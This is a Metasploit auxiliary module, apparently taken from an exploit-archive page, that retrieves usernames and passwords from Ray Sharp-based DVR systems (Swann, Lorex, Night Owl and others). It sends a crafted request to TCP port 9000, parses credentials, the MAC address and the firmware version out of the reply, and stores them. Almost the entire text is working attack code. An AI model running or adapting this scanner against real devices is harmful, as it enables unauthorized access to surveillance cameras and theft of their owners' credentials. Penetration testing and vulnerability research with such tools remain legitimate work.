Share
## https://sploitus.com/exploit?id=PACKETSTORM:181218
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Ray Sharp DVR Password Retriever',  
'Description' => %q{  
This module takes advantage of a protocol design issue with the  
Ray Sharp based DVR systems. It is possible to retrieve the username and  
password through the TCP service running on port 9000. Other brands using  
this platform and exposing the same issue may include Swann, Lorex,  
Night Owl, Zmodo, URMET, and KGuard Security.  
},  
'Author' =>  
[  
'someluser', # Python script  
'hdm' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]  
],  
'License' => MSF_LICENSE  
)  
  
register_options( [ Opt::RPORT(9000) ])  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run_host(ip)  
req =  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +  
( "\x00" * 475 )  
  
connect  
sock.put(req)  
  
buf = ""  
begin  
# Pull data until the socket closes or we time out  
Timeout.timeout(15) do  
loop do  
res = sock.get_once(-1, 1)  
buf << res if res  
end  
end  
rescue ::Timeout::Error  
rescue ::EOFError  
end  
  
disconnect  
  
info = ""  
mac = nil  
ver = nil  
  
creds = {}  
  
buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|  
# Make sure the two passwords match  
next unless cred[1] == cred[2]  
creds[cred[0]] = cred[1]  
end  
  
if creds.keys.length > 0  
creds.keys.sort.each do |user|  
pass = creds[user]  
report_cred(  
ip: rhost,  
port: rport,  
service_name: 'dvr',  
user: user,  
password: pass,  
proof: pass  
)  
info << "(user='#{user}' pass='#{pass}') "  
end  
end  
  
# Look for MAC address  
if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi  
mac = $1  
end  
  
# Look for version  
if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m  
ver = $1  
end  
  
info << "mac=#{mac} " if mac  
info << "version=#{ver} " if ver  
  
return unless (creds.keys.length > 0 or mac or ver)  
  
report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)  
print_good("#{rhost}:#{rport} #{info}")  
end  
end